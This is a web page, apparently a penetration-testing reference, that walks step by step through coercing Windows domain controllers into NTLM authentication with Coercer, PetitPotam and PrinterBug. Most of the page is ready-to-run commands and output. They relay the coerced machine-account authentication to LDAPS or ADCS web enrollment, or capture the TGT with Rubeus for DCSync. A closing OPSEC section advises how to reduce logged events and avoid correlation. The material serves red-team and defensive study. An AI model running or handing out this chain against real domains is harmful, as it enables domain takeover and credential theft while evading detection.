Skip to content
HackIndex logo

HackIndex

Coercer and PetitPotam — Active Directory Coercion Frameworks

6 min read Jun 19, 2026

Coercion forces a Windows machine to initiate outbound NTLM authentication to a host you control. The target is typically a domain controller or server — coercing its machine account is what gives the attack weight. When that authentication lands on your listener, two paths open: relay it onward to LDAP, SMB, or ADCS to gain impact without ever cracking a password, or receive it on an unconstrained delegation host to extract a full TGT for the coerced machine.

The tools covered here are the trigger mechanisms. What you do with the arriving authentication is a separate decision — see NTLM Relay and Unconstrained Delegation Abuse for those workflows.

Coercer — unified coercion framework

Coercer wraps every major coercion technique — MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM, and others — into a single tool with consistent syntax. Rather than running each protocol manually, Coercer probes the target and fires whichever methods succeed. The scan mode checks availability without triggering outbound authentication, which matters when you want to identify working methods before making noise.

GitHub: https://github.com/p0dalirius/Coercer

┌──(kali㉿kali)-[~]
└─$ pipx install coercer

Scan for available coercion methods

┌──(kali㉿kali)-[~]
└─$ coercer scan -t $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN 
[+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - available
[+] MS-EFSR: EfsRpcOpenFileRaw - available
[+] MS-FSRVP: IsPathShadowCopied - available
[-] MS-DFSNM: NetrDfsAddStdRoot - not available

Scan mode identifies which methods the target responds to. Pick one or let Coercer fire all available methods when you run coerce.

Coerce authentication toward your listener

┌──(kali㉿kali)-[~]
└─$ # Password authentication
┌──(kali㉿kali)-[~]
└─$ coercer coerce -t $TARGET_IP -l $LHOST -u $USER -p $PASSWORD -d $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ coercer coerce -t $TARGET_IP -l $LHOST -u $USER -H $NTHASH -d $DOMAIN 
[+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - success
[+] Incoming authentication expected on 10.10.10.20

Coercer with no method filter tries every available protocol in sequence. This is noisy — each attempted method generates authentication events on the target. Use scan first, then coerce with --filter-method to limit to a single confirmed technique if noise is a concern.

Before running coerce, start your listener on $LHOST. Use Responder to capture the arriving hash for offline cracking, or ntlmrelayx to relay it onward. When relaying, disable SMB and HTTP in Responder so ntlmrelayx receives the connection.

PetitPotam — MS-EFSRPC coercion

PetitPotam abuses the MS-EFSRPC protocol (Encrypting File System Remote) to force outbound authentication. It has two modes: unauthenticated and authenticated. The unauthenticated variant is blocked by KB5005413 on patched systems. Most modern environments have this patch applied, so treat the authenticated variant as the default approach.

GitHub: https://github.com/topotam/PetitPotam

┌──(kali㉿kali)-[~]
└─$ # Unauthenticated — only works on unpatched targets (pre-KB5005413)
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py $LHOST $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticated — works on patched targets, requires domain credentials
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $TARGET_IP 
[+] Sending auth request
[+] Triggered RPC call - incoming authentication expected on 10.10.10.20

Always try the authenticated variant first in current engagements. The unauthenticated path is included for completeness but should not be the primary assumption.

PrinterBug — MS-RPRN coercion

PrinterBug abuses the Print Spooler service via MS-RPRN. The RpcRemoteFindFirstPrinterChangeNotification call forces the target to authenticate to an arbitrary host. Requires Print Spooler running on the target and any valid domain credentials.

Check if Print Spooler is running

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler 
SMB  10.10.10.10  445  DC01  [+] Spooler service enabled on DC01

Trigger coercion via printerbug.py

printerbug.py is part of the krbrelayx toolset from https://github.com/dirkjanm/krbrelayx.

┌──(kali㉿kali)-[~]
└─$ python3 printerbug.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP $LHOST 
[*] Triggering authentication via MS-RPRN RpcRemoteFindFirstPrinterChangeNotification...
[*] Connecting to ncacn_np:10.10.10.10[\pipe\spoolss]
[+] Triggered RPC call - incoming authentication expected on 10.10.10.20

Print Spooler is disabled by default on Windows Server 2019 and later. On older environments and some DCs it remains active. Coercer covers this same protocol under MS-RPRN — if Coercer scan confirms MS-RPRN is available, printerbug.py is an equivalent manual trigger.

What to do with the coerced authentication

Once authentication arrives at $LHOST, the two main paths are NTLM relay and TGT theft.

NTLM relay

Run ntlmrelayx on $LHOST before triggering coercion. The relay receives the incoming authentication and forwards it to the configured target service.

┌──(kali㉿kali)-[~]
└─$ # Relay to LDAPS — escalate privileges via RBCD or account modification
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldaps://$DC_IP --escalate-user $USER
 
┌──(kali㉿kali)-[~]
└─$ # Relay to ADCS web enrollment — certificate request (ESC8)
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

Then trigger coercion with any of the tools above. The arriving machine account authentication is relayed before the originating host can complete the exchange.

For relay target selection, signing requirements, and full relay chains including DCSync via ADCS, see NTLM Relay and SMB NTLM Relay.

TGT theft via unconstrained delegation

If $LHOST is a machine configured for unconstrained delegation, incoming Kerberos authentication includes the coerced machine's TGT embedded in the service ticket. Rubeus running on that host can extract it from memory.

PS C:\Users\Guest\Desktop> # On the unconstrained delegation host — monitor for incoming TGTs
PS C:\Users\Guest\Desktop> Rubeus.exe monitor /interval:1 /nowrap

Trigger coercion after starting the monitor. When the DC authenticates to your unconstrained delegation host, Rubeus captures the TGT. That ticket can be injected and used for DCSync or other operations as the DC machine account.

For the full workflow, see Unconstrained Delegation Abuse.

OPSEC

Every coercion attempt generates authentication events on the target. MS-RPRN triggers Event ID 4624 on the DC when Spooler initiates outbound authentication. Running Coercer without filtering tries multiple protocols in sequence — each attempt is a separate authentication event and RPC call logged on the target.

Use scan mode before coercing to identify which single method works, then coerce with a targeted method rather than letting Coercer iterate through everything. One clean trigger is harder to correlate than a sequence of failed RPC calls followed by a successful one.

References